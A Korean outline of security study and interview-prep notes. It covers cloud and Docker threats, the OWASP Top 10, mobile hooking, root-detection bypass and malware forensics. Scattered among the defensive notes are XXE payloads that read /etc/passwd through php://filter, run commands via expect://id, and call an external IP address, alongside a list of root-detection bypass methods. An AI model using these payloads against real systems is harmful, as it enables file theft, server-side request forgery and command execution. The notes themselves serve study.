1. https://cdn-images-1.medium.com/max/1200/1*wOBkzBpi1Hl9Nr__Jszplg.png
2. IoT Device 취약점 분석
3. 클라우드 환경의 취약점 분석
3.1. 클라우드 종류
3.1.1. Platform as a Service
3.1.2. Software as a Service
3.1.3. Infrastructure as a Service
3.1.4. http://www.sqler.com/files/attach/images/368180/686/470/025c80d9be11b56af27fa8c74c506af7.jpg
3.2. 보안위협
3.2.1. 기술적 보안 위협
3.2.1.1. 기존 보안 위협
3.2.1.2. 가상화를 통한 위협
3.2.1.2.1. 하이퍼바이저 감염
3.2.1.2.2. VM내부공격 및 이로 인한 침입탐지 어려움
3.2.1.2.3. 다른 기업의 VM에 접근가능하도록 네트워크 설정, 혹은 다른 접점이 있을 시 문제 - 패킷 스니핑, 해킹, 디도스, 취약점 공격 등
3.2.2. 기술외적 보안 위협
3.2.2.1. 내부자의 설계/관리 실수
3.2.3. 보안책
3.2.3.1. 전송 데이터 보호 HTTPS, SSH, VPN 등
3.2.3.2. 저장 데이터 암호화
3.2.3.3. VM간 독립성: 가상네트워크를 활용하여 각 VM 분리
3.2.3.4. 하이퍼바이저에서 VM의 내부정보 분석 후 침입 탐지
3.2.3.5. 별도의 감독 VM을 두어 나머지 VM 감시
4. 기계학습을 이용한 데이터 분석
4.1. 코세라 머신러닝 강의
4.1.1. Introduce
5. 도커 플랫폼 보안 기술 보유자
5.1. 기존 가상화와의 차이
5.1.1. 기존의 VMware는 호스트 OS 위에 게스트 OS전체를 가상화하여 사용
5.1.1.1. 여러가지 OS를 가상화할수 있지만 무겁고 느림
5.1.2. 도커는 CPU의 가상화기술(HVM)을 이용한 KVM과 반가상화 방식의 XEN이 등장. 게스트 OS가 필요해도 전체 OS를 가상화하진 않아서 호스트형 가상화에 비해 성능 향상
5.1.3. GuestOS+하이퍼바이저 -> Docker Engine으로 대체
5.1.4. 보안
5.1.4.1. VMWARE
5.1.4.1.1. VM은 하나의 VM이 공격당해도 다른 VM이나 Host가 보호됨. 단 하이퍼바이저(하드웨어 가상화)가 공겨당할 경우는 다름
5.1.4.2. Docker
5.1.4.2.1. 모든 컨테이너가 호스트의 커널을 공유하기 때문에 컨테이너 하나가 뚫리면 호스트 커널이 위험해질수 있고, 호스트까지 오지 않아도 컨테이너의 모든 커널이 위험해질수있음(커널을 공유하기 때문에).
5.1.5. 속도 및 장단점
5.1.5.1. 도커가 VM보다는 빠름(아무래도 많은 커널을 실행하기 때문에)
5.1.5.2. VMware는 버전업시 어플의 소스를 받아 설정을 변경하고 등등 손이많이감. 도커는 이미지 자체를 배포하기때문에 원래 돌던거 내리고 새거 올리면 끝. 여러대의 컨테이너를 관리할 수도 있음.
5.1.5.3. 도커는 멀티 OS를 사용하지 못함(커널 공유때문에
6. 웹 서비스 보안 취약점 분석
6.1. OWASP10
6.1.1. 1. Injection
6.1.1.1. 방어기법
6.1.1.1.1. 매개변수화
6.1.1.1.2. ORM
6.1.1.1.3. 필터
6.1.1.1.4. 안전한 API 사용<div><iframe src="네이버"></ifreame></div>
6.1.1.2. 필터링 우회
6.1.1.2.1. 웹해킹 SQLI 우회기법 정리 - Webhacking SQL Injection Bypass Honey Tips - Team Minivet
6.1.2. 2. Broken Authentication
6.1.2.1. 공격기법
6.1.2.1.1. 기본관리계정목록
6.1.2.1.2. 무차별대입 및 사전공격 툴
6.1.2.2. 취약점확인
6.1.2.2.1. 기본암호, 무차별 공격, 세션 ID 제때 소멸하지 않음
6.1.3. 보안대책
6.1.3.1. 무차별 공격, 탈취된 계정정보 재사용 공격 예방
6.1.3.2. 비밀번호 생성할때 최악 top10000개 비밀번호 이외로 설정
6.1.3.3. 비밀번호 충분히 복잡하게 할것
6.1.3.4. 비밀번호가 틀렸는지 아이디가 틀렸는지 모두 동일하게 출력
6.1.3.5. 로그인 시간 제한, 횟수 제한 등
6.1.3.6. 세션시간 엄수
6.1.4. 3. Sensitive Data Exposure
6.1.4.1. 공격기법
6.1.4.1.1. 전송구간, 브라우저와 같은 사용자 프로그램에서 키를 훔침
6.1.4.1.2. MITM이나 평문 공격
6.1.4.1.3. 암호화가 되어있어도 취약한 키생성 및 관리, 약한 알고리즘, 프로토콜 및 암호 사용
6.1.4.2. 취약점 확인
6.1.4.2.1. 평문?
6.1.4.2.2. 백업 및 저장할때 평문 저장?
6.1.4.2.3. 오래되거나 취약한 암호 알고리즘 적용?
6.1.4.2.4. 암호키는 충분히 강려크?
6.1.4.3. 보안대책
6.1.4.3.1. 애플리케이션에서 사용하는 데이터 처리, 저장, 전송 분류하여 민감한 부분 확인
6.1.4.3.2. 불필요한 민감한 데이터 저장 X
6.1.4.3.3. 기본적으로 암호화하는가
6.1.4.3.4. 강력한 알고리즘이나 암호키를 사용하는가
6.1.5. 4. XML External Entities(XXE)
6.1.5.1. 공격기법
6.1.5.1.1. XML 업로드 가능 및 문서에 취약한 코드, 의존선, 통합을 공격하는 악의적인 내용 포함 가능
6.1.5.1.2. URI에 의해 외부 개체의 지정을 허용
6.1.5.1.3. 데이터 유출, 원격코드실행, 디도스등 가능<
6.1.5.1.4. <result>&xxe;</result>
6.1.5.1.5. <!ENTITY % test SYSTEM "http://119.204.65.81:8888/test"%test; ]>
6.1.5.1.6. file:"aa"
6.1.5.2. 보안대책
6.1.5.2.1. 외부링크 제한
6.1.5.2.2. DTD 처리 비활성화
6.1.5.2.3. 입력값 검증, 필터링, 검사 구현
6.1.6. 5. Broken Access Control
6.1.6.1. 공격기법
6.1.6.1.1. GET 파라미터 변조로인한 다른사용자 로그인, 어드민 홈페이지 접근 등
6.1.6.2. 취약점 확인
6.1.6.2.1. 다른 사용자의 레코드로 변경 혹은 정보열람 및 편집 허용 가능 여부
6.1.6.2.2. 일반사용자로 로그인 후 관리자처럼 활동
6.1.6.2.3. 접근할수 없는 페이지 접근
6.1.6.3. 보안대책
6.1.6.3.1. 불특정 다수에게 공개된 자원 제외하곤 디폴트 정책은 차단
6.1.6.3.2. .git같은 메타데이터나 백업데이터 유출 조심
6.1.6.4. 사례
6.1.6.4.1. 특정 기관 이메일 - 유저만 변경하면 드란메일 열람 가능
6.1.7. 6. Security Misconfiguration
6.1.7.1. 공격기법
6.1.7.1.1. 예제: 알려진 취약점을 포함한 샘플 어플이 삭제되지 않고 운영환경에서 사용중이라면 공격자가 공격 가능, 관리 콘솔이 샘플에 포함되어 있으면 디폴트 계정 정보가 변경되지 않았다면 접속에 성공하여 권한 획득
6.1.7.1.2. 디렉토리 리스팅, 파일 다운로드 및 리버싱과 디컴파일을 통해 취약점 공격
6.1.7.1.3. 에러메시지에 중요한 정보 포함
6.1.7.1.4. 잘못된 권한 설정(다른 클라우드사용자에게 접근 가능)
6.1.7.2. 보안대책
6.1.7.2.1. 일부는 설정을 수정하는 것만으로 가능, 일부를 설계를 바꿔야 할수있음
6.1.7.3. 사례
6.1.7.3.1. 플라스크 디버깅 모드
6.1.7.3.2. S3같은 권한 잘못설정
6.1.7.3.3. 안드로이드 권한 설정
6.1.7.3.4. 보안 그룹이나 입주자들간 격리
6.1.8. 7. Cross-Site-Scripting(XSS)
6.1.8.1. 공격기법
6.1.8.1.1. 리플렉티드 XSS
6.1.8.1.2. 저장 XSS
6.1.8.1.3. DOM 기반 XSS
6.1.8.2. 보안대책
6.1.8.2.1. ReactJS와 같이 XSS를 자동으로 필터링하는 프레임 워크 사용
6.1.8.2.2. 신뢰할수 없는 HTTP 요청 데이터 필터링
6.1.8.2.3. 보안라이브러리 사용
6.1.8.3. 관리자라면 이 문장을 반복해서 외쳐야 한다. "사용자 입력을 신뢰하지 말자. 사용자 입력을 신뢰하지 말자. 사용자 입력을 신뢰하지 말자."
6.1.8.4. 짠WEB투어 XSS - 1일차
6.1.9. 8. Insecure Deserialization
6.1.9.1. 공격기법
6.1.9.1.1. 애플리케이션 및 API가 공격자의 악의적인 변조된 객체를 역직렬화할 경우 취약함
6.1.9.1.2. 객체 및 데이터 구조 관련 공격.
6.1.9.2. 보안대책
6.1.9.2.1. 신뢰할수없는 출처로부터 직렬화된 객체를 허용하지 않거나 원시 데이터 유형만을 허용하는 직렬화매체를 사용할 것
6.1.10. 9. Using Components with Known Vulnerabilities
6.1.10.1. 공격기법
6.1.10.1.1. 클라이언트 및 서버 양측의 구성요소 소프트웨어가 취약하거나, 지원되지 않거나, 오래된 버전인 경우
6.1.10.2. 보안대책
6.1.10.2.1. 사용하지 않는 기능, 구성요소, 파일과 문서등 삭제
6.1.10.2.2. 구성요소들의 버전을 지속적으로 관리
6.1.10.2.3. CVE와 NVD등을 지속적으로 관리
6.1.11. 10. Insufficient Logging & Monitoring
6.1.11.1. 공격기법
6.1.11.1.1. 로그인, 로그인 실패, 트랜잭션 및 이벤트 기록되지 않음
6.1.11.1.2. 경고 및 오류에 대해 로그메시지가 없음
6.1.11.2. 보안대책
6.1.11.2.1. 모든 로그인, 접근통제 실패, 서버측면의 입력값 검증 실패 등이 의심스럽거나 악의적인 계정을 식별할수 있는 로깅
6.1.11.2.2. 중앙 집중적 로그 관리 솔루션에 의해 쉽게 사용할 수 있는 로그인가
6.1.11.3. 설명
6.1.11.3.1. 결론적으로 로깅을 하는것이 불충분함
6.1.11.3.2. <!DOCTYPE foo[ <!ELEMENT test ANY> <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">]>
6.1.11.3.3. <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://id" >]>
6.1.11.3.4. <!ENTITY xxe SYSTEM "expect://id" >]> <creds> <user>&xxe;</user> <pass>mypass</pass> </creds>
6.1.11.3.5. <!ENTITY xxe SYSTEM "" >]>
7. 모바일 앱 취약점 분석
7.1. 앱 종류
7.1.1. 네이티브 어플
7.1.1.1. 자바
7.1.1.1.1. 메모리 유출
7.1.1.1.2. 설계상 , 논리적 취약점
7.1.1.1.3. 잘못된 코드 순서(초기화하지 않은 객체 사용 등)
7.1.1.2. JNI 라이브러리
7.1.1.2.1. 기존의 메모리 커럽션 취약점
7.1.1.2.2. 논리적 취약점
7.1.2. 웹 어플
7.1.2.1. 업데이트 실시간 가능
7.1.2.2. 만들기 쉬움
7.1.2.3. 인증 등 권한 검증
7.1.3. 하이브리드 어플
7.1.3.1. 네이티브+웹
7.2. 후킹
7.2.1. Frida
7.2.2. LD_PRELOAD
7.3. 루팅검사
7.3.1. 제대로 하는가, 우회할수 있는가
7.3.2. 탐지 1. su 명령어 탐지 2. 프로세스 리스트 탐지 - 관련된 프로세스 업뎃해야함 3. 설치된 패키지 목록 탐지 - 루팅 관련 패키지 탐지 4. 루팅 카운트 탐지 - KNOX등 커스텀펌웨어 탐지 5. busybox 및 명령어 탐지 - 루팅 후 비지박스 탐지 6. 폴더 권한 확인 - 시스템 디렉토리 및 파일에 대한 검증 수행 탐지 우회 1. smali 코드 패치 2. 후킹
8. 취약점 확인
8.1. 어플리캐이션이 직접 XML을 입력받거나 업로드 가능
8.2. request=<?xml version=”1.0”?><!DOCTYPE foo . . . 와 같은 형식으로 XML Request를 통 해 DTD를 선언할 수 있을 때에만 ENTITY를 사용
8.3. SOAP(XML 교환 프로토콜)에서 1.2 이전 버전 사용
9. 시스템 로그 및 악성코드 분석
9.1. 로그분석
9.1.1. CPU 관리 top
9.1.2. Syslog는 컴퓨터 시스템의 관리, 보안 알림 뿐만 아니라 일반적인 정보, 분석, 디버깅 메세지 등을 제공 - Crontab 등
9.1.3. Crontab
9.1.4. .Bash_history
9.1.5. var/log/lastlog - 로그인 정보
9.1.6. var/log/auth.log - 로그인 정보
9.1.7. netstat -antp
9.2. 악성코드 발견 방법론
9.2.1. HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run 등록하면 부팅할때 마다 실행
9.2.2. 증거수집
9.2.2.1. 비슷한 시스템에서 해시 리스트 모으고 비교
9.2.2.2. 파일 추출-Foremost, winhex
9.2.3. 백신
9.2.4. 특정 조건을 만족하는 조건 조사
9.2.4.1. 해시
9.2.4.2. 특정 시스템 파일의 크기가 특정 범위를 벗어남
9.2.4.3. 시스템 프로세스가 특정 경로를 벗어나 잇음
9.2.4.4. 브라우저에서 cmd가 실행
9.2.5. 메모리분석
9.2.5.1. DumpIt
9.2.5.2. 맨디언트 레드라인, 볼라틸리티
9.2.5.2.1. 프로세스 정보
9.2.5.2.2. 네트워크정보
9.2.5.2.3. DLL 정보 등
9.2.6. 타임라인 잡는것이 중요
9.2.7. 바이러스 토탈 등
9.2.8. Filetime이 이상함(MFT)
9.2.9. 레지스트리
9.2.9.1. 익스플로러 파일, 실행되었던 최근 파일, 저장된 파일 등
9.2.9.2. 이벤트 로그 등
9.2.10. 지속하기 위한 가능성
9.2.10.1. 서비스 추가
9.2.10.2. 크론탭 추가
9.2.10.3. 레지스트리 추가
9.3. 분석방해 기법
9.3.1. 패킹
9.3.2. 코드 난독화
9.3.3. 안티 디스어셈블리
9.3.3.1. jz, jnz가 같은 주소로 점프
9.3.4. 안티 디버깅
9.3.4.1. 윈도우 API 함수 사용 - IsDebuggerPresent - CheckRemoteDebuggerPresent - NtQueryInformationProcess - OutputDebugString 구조체 수동 검사 - BeingDebugged 플래그 검사 - ProcessHeap 플래그 검사 - NTGlobalFlag 검사
10. owasp top10에 있는거 하나씩 물어보고 오라클패딩어택이 뭐냐고 물어보고 개발자면 xss를 뭐라고 말할거냐 포트폴리오 위주로 csrf, xxe가 뭐냐 sql인젝션을 할때 특정조건 주어지고 어떻게 쿼리문 짤거냐 모바일 관련으로 좀 물어봄 nbp가 모바일이랑 웹을 주력으로 함 자기소개 시킴 공격자 입장에서 우회할 수 있는 방법, 방어법 osi 7계층 꼭 물어봄
10.1. 오라클 패딩
10.1.1. file:///C:/Users/wh_pe/Downloads/Padding_Oracle_Attack_by_laughfool.pdf
10.2. csrf
10.2.1. CSRF(Cross Site Request Forgery)란 무엇인가?- 옥션
10.3. OSI 7계층
10.3.1. 네트워크의 기본 'OSI 7계층'··· 한번에 이해하고 외우는 방법